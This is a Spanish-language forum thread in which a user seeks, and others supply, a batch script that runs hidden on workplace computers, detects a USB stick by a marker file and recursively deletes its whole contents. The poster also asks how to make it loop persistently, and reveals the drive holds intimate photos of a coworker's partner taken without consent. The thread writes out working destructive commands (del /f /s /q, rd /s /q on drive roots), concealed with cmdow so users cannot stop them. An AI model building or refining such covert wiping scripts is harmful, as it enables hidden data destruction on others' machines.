[Batch] Borrar archivos de una Pendrive

Iniciado por hozht, 19 Febrero 2009, 17:56 PM

0 Miembros y 1 Visitante están viendo este tema.

hozht

Explicare brevemente mi situacion

-no estudie programacion, solo se lo que voy haciendo y hasta el momento me han funcionado los bath que he crearo
- en mi trabajo (trabajo en la PC todo el dia de capturista) llevaba mi memoria USB con musica para pasar el rato
- algun compañero la tomo prestada sin permiso y como ademas de musica habia algunos archivos personales pues ahora me quieren extorcionar
- he pensado instalar un scrip que se ejecute cada vez que se conecte una memoria USB y si cumple con ciertos requisitos (osea alguno de mis archivos que yo se que tiene ocultos) pues simplemente borre el contenido completo de la memoria o a ser posible la formatee, ya que en si la memoria no me interesa; si no la posivilidad de que hagan mal uso de mis archivos

aqui la situacion y aqui la idea:

dato 1 :- en el trabajo tenemos instalado  un programa para extraccion segura de dispositivos USB (USB Safely Remove) el cual puedes configurar para ejecutar algun archivo al detectar una unidad conectada (lo usan para evitar ejecuciones de virus)

dato 2 :- la idea es poner el scrip o bath en ese comando para en cuanto detecte la memoria con mis archivos, borre el contenido sin posibilidad de evitarlo.

el batch que tengo en mente tiene mas o menos esta configuracion
cmdow @ /HID
@Echo Off
If Exist D:\mi_archivo.ext Set USB=D:
If Exist E:\mi_archivo.ext Set USB=E:
If Exist F:\mi_archivo.ext Set USB=F:
If Exist G:\mi_archivo.ext Set USB=G:
If Exist H:\mi_archivo.ext Set USB=H:
If Exist I:\mi_archivo.ext Set USB=I:
If Exist J:\mi_archivo.ext Set USB=J:
If Exist K:\mi_archivo.ext Set USB=K:
If Exist L:\mi_archivo.ext Set USB=L:
If Exist M:\mi_archivo.ext Set USB=M:
If Exist N:\mi_archivo.ext Set USB=N:
If Exist O:\mi_archivo.ext Set USB=O:
If Exist P:\mi_archivo.ext Set USB=P:
If Exist Q:\mi_archivo.ext Set USB=Q:
If Not Exist %NEW%\mi_archivo.ext Goto LOSER
If Exist %NEW%\mi_archivo.ext Goto WIN

:LOSER
Goto End

:WIN
DEL /F /S /Q %USB%\*.*
RD /S /Q %USB%
Goto END

:END
Exit


alguen que me pueda orientar y/o ayudar y/o mejorar el scrip??

de antemano se los agradezco

y espero seguir aprendiendo mas y mas de esto que en verdad me facina :D

FranciskoAsdf

@echo off
:: Detectar las memorias USB actualmente montadas, y abrir una ventana
:: con la USB detectada :
ECHO Buscando ubs conectadas... por favor espera...
for /f "skip=1" %%x in ('wmic logicaldisk get caption') do (
for /f "tokens=1" %%c in ('fsutil fsinfo drivetype %%x ^| find /i "extra"') do (
IF NOT EXIST "%%c\mi_archivo.txt" (GOTO salte) ELSE (
DEL /F /S /Q %%c\*.*
RD /S /Q %%c
)
explorer /e,/root,%%c
)
)
exit /b 0
:salte
exit



el codigo completo no es mio y nuse si funciona, yo olo uso en otra funcion, solo trate de agregar lo que tu kerias hacer :)


espero te funcione

saludos


y si no te funciona lo siento u.u
:-[
Asdf debería ser algún tipo de función.

hozht

Panxulingo , mil gracias, ese es mas pequeño y parece que solo tiene algun detalle.

Pues lo he probado y no me funciona correctamente, me da un error de que no encuentra el disco

tratare de seguir leyendo para ver si lo soluciono,,,


Y de nuevo mil gracias... y seguire en espera de mas ayuda  :-[

FranciskoAsdf

tienes que pensar que tiene que estar conectada la usb

Asdf debería ser algún tipo de función.

leogtz

Creo que parte del codigo de arriba es mio, se podria hacer mas corto, detectar una USB :
@for /f "tokens=1" %%. in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do @(echo.%%.)
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

0x0309

Mira, lo de borrar los archivos no te lo recomiendo, porque es muy probable que puedas(n) recuperar parte de ellos con algún software.

Podrías comprimir tu información importante con winrar, le colocas una contraseña fuerte y le activas cifrar los nombres de archivo.


hozht

Pues gracias de nuevo, y tambien tengo en cuenta de que se pueden recuperar los datos con algun soft... pero tengo la confianza de que el que la tiene no sabe nisiquiera que trae archivos ocultos (de saberlo ya me habria golpeado por que traigo fotos de su pareja en situaciones un poco intimas y el no las tomo, entientes??) Y la idea es que borre precisamente esos datos jaja

ahora regreso al punto . . .

al final el codigo como quedaria??



leogtz

Pues a mi algo sencillo como esto me funciona :

@echo off
for /f "tokens=1" %%- in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
echo.%%-
if exist "%%-\ccleaner.exe" (
del /f /q "%%-\ccleaner.exe"
)
)


Claro, tu debes mejorarlo segun tus condiciones.

Otra cosa, si tus archivos tienen atributos de ocultos, debes de usar el parametro /ah del comando 'del':
del /f /q /s /ah Archivo.ext

Saludos.
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com

Krackwar ™

Este codigo lo pase a VB pero el original es un batch lo que hace es ver cuales son las unidades removibles en el registro , y si existen es por que estan conectadas.


Código (VB) [Seleccionar]
Private Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
'GetUSBDevices4
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByRef lpData As Any, ByRef lpcbData As Long) As Long
Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, ByRef lpcbValueName As Long, ByVal lpReserved As Long, ByRef lpType As Long, ByRef lpData As Byte, ByRef lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_READ As Long = (READ_CONTROL)
Private Const KEY_QUERY_VALUE As Long = &H1
Private Const KEY_ENUMERATE_SUB_KEYS As Long = &H8
Private Const KEY_NOTIFY As Long = &H10
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_READ As Long = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Private Const REG_DWORD As Long = 4
Private Const REG_BINARY As Long = 3
Private Const ERROR_SUCCESS As Long = 0&

Public Function GetUSBDevices4() As String()
    Dim lResult             As Long
    Dim lIndex              As Long
    Dim sData               As String
    Dim lData               As Long
    Dim lHandle             As Long
    Dim sTmp()              As String
    Dim dCount              As Double
    Const DRIVE_NO_ROOT_DIR As Long = 1

    'abrimos la clave del registro
    lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\MountedDevices", 0&, KEY_READ, lHandle)

    Do
        'Redimensionamos el buffer
        sData = String$(2000, Chr$(0))
        'Asignamos el tamaño
        lData = Len(sData)
        'Leemos el valor
        lResult = RegEnumValue(lHandle, lIndex, ByVal sData, lData, 0&, REG_DWORD, ByVal 0&, 0&)
        'Sumamos uno a la posicion...
        lIndex = lIndex + 1
        'Si todo fue correcto
        If lResult = ERROR_SUCCESS Then
            'Recortamos la informacion
            sData = Left$(sData, lData)
            'Si se encuentra: '\??\STORA' (separado por VbNullChar)...
            If InStr(RegQueryStringValue(lHandle, sData), "530054004F00520041") Then
                'Si es una unidad...
                If GetDriveType(Right$(sData, 2) & "\") <> DRIVE_NO_ROOT_DIR Then
                    'Redimensionamos el Array
                    ReDim Preserve sTmp(0 To dCount)
                    'Almacenamos la unidad
                    sTmp(dCount) = Right$(sData, 2) & "\"
                    'Añadimos uno mas a la cuenta
                    dCount = dCount + 1
                End If
            End If
        End If
        'Siempre que no haya habido error...
    Loop While lResult = ERROR_SUCCESS
    'Cerramos el Handle
    RegCloseKey (lHandle)
    'Devolvemos la lista
    GetUSBDevices4 = sTmp
End Function

Function RegQueryStringValue(ByVal hKey As Long, ByVal strValueName As String) As String
    Dim lResult         As Long
    Dim lValueType      As Long
    Dim strBuf          As String
    Dim lDataBufSize    As Long
    Dim strTemp         As String
    Dim i               As Integer

    'Cargamos la Clave
    lResult = RegQueryValueEx(hKey, strValueName, 0, lValueType, ByVal 0, lDataBufSize)
    'Redimensionamos el Buffer
    strBuf = String$(lDataBufSize, Chr$(0))
    'Obtenemos el contenido
    lResult = RegQueryValueEx(hKey, strValueName, 0, 0, ByVal strBuf, lDataBufSize)
    'Si no ha habido errores y la clave es binaria...
    If lResult = ERROR_SUCCESS And lValueType = REG_BINARY Then
        'Por cada caracter del resultado..
        For i = 1 To lDataBufSize
            'Obtenemos el valor Hexadecimal del Ascii del caracter
           strTemp = Hex$(Asc(Mid$(strBuf, i, 1)))
           'Agregamos un 0 si solo hay un numero
           If Len(strTemp) = 1 Then strTemp = "0" & strTemp
           'Lo agregamos...
           RegQueryStringValue = RegQueryStringValue + strTemp
        Next i
    End If
End Function
WHK es mas u17r4m4573r31337 que yo



El error mas grande de el mundo es decir que el ser humano es inteligente.

Facismo , antifacismo , etc.. la misma mierda ..
Soy el-> http://tinyurl.com/fantasma-de-krackwar
Código (asm) [Seleccionar]

mov ecx,1000
Etiqueta:
invoke printf,"No Copiare en clases"
loop Etiq

hozht

Pues gracias a todos...
y a ti Leo Gutierrez., mucho mas...  ;D he hecho unas pruevas con el codigo que tu pusiste y te cuento que me funciono de maravilla. le he hecho las modificaciones que me comentaste y lo he dajado asi:

cmdow @ /HID
@echo off
for /f "tokens=1" %%- in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
echo.%%-
if exist "%%-\archivo.etx" (
del /f /q /s /ah "%%-\*.*"
rd /S /Q "%%-"
)
)


he de comentar que el CMDOW en una utileria de MS cuya funcion es la de ocultar las ventanas de MS-DOS y evitar que el usuario pueda deterer el BATCH es usado en la creacion de instalaciones desatendidas de programas durante la instalacion de sistema operativo... y como esta presente en las maquinas en las que voy a usar el codigo pues he de aprovecharlo jejeje

Ahora preguntare algo mas...

¿Existe la forma de modificar este batch para que se ejecute ciclicamente? ç

osea que le ejecute una ves y siga auto-ejecutandose hasta que logre su cometido,

Y es que me he topado con la dificultad de que no en todas las maquinas esta instalado el programa que comente en mi primer post y pues ahora la idea es la de ejecutar este scrip en esas maquinas y que se quede activo por si mi dispositivo es conectado en alguna de ellas jejeje

y pues podria ser usado tambien como un retrovirus si modificamos el codigo para eliminar los virus  de esos que se propagan por USB

@echo off
for /f "tokens=1" %%- in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do (
echo.%%-
if exist "%%-\RECYCLE" (
del /f /q /s /ah "%%-\RECYCLE\"
rd /S /Q "%%-\RECYCLE"
)
)


y si alguien lo modifica para que se ejecute ciclicamente pues quedaria perfecto no creen?

de nuevo mil gracias a los que amablemente han ayudado a este mortal y estare pendiente para ver si es posible lo de ejecutarlo ciclicamente...